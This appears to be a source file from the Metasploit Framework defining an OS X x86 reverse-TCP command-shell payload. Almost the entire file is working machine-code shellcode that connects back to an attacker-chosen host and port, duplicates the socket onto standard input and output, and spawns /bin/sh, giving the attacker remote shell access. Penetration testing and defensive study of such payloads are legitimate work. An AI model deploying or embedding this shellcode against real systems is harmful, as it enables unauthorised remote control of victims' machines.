##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 131

  include Msf::Payload::Single
  include Msf::Payload::Osx
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'OS X (vfork) Command Shell, Reverse TCP Inline',
        'Description' => 'Connect back to attacker, vfork if necessary, and spawn a command shell',
        'Author' => 'ddz',
        'License' => MSF_LICENSE,
        'Platform' => 'osx',
        'Arch' => ARCH_X86,
        'Handler' => Msf::Handler::ReverseTcp,
        'Session' => Msf::Sessions::CommandShell,
        'Payload' => {
          'Offsets' =>
                  {
                    'LHOST' => [ 20, 'ADDR' ],
                    'LPORT' => [ 27, 'n' ]
                  },
          'Payload' =>
                       "\x31\xc0\x99\x50\x40\x50\x40\x50" \
                       "\x52\xb0\x61\xcd\x80\x72\x6d\x89" \
                       "\xc7\x52\x52\x68\x7f\x00\x00\x01" \
                       "\x68\x00\x02\x34\x12\x89\xe3\x6a" \
                       "\x10\x53\x57\x52\xb0\x62\xcd\x80" \
                       "\x72\x52\x31\xdb\x83\xeb\x01\x43" \
                       "\x53\x57\x53\xb0\x5a\xcd\x80\x72" \
                       "\x43\x83\xfb\x03\x75\xf1\x31\xc0" \
                       "\x50\x50\x50\x50\xb0\x3b\xcd\x80" \
                       "\x90\x90\x3c\x2d\x75\x09\xb0\x42" \
                       "\xcd\x80\x83\xfa\x00\x74\x17\x31" \
                       "\xc0\x50\x68\x2f\x2f\x73\x68\x68" \
                       "\x2f\x62\x69\x6e\x89\xe3\x50\x50" \
                       "\x53\x50\xb0\x3b\xcd\x80\x31\xc0" \
                       "\x50\x89\xe3\x50\x50\x53\x50\x50" \
                       "\xb0\x07\xcd\x80\x31\xc0\x50\x50" \
                       "\x40\xcd\x80"
        }
      )
    )
  end
end
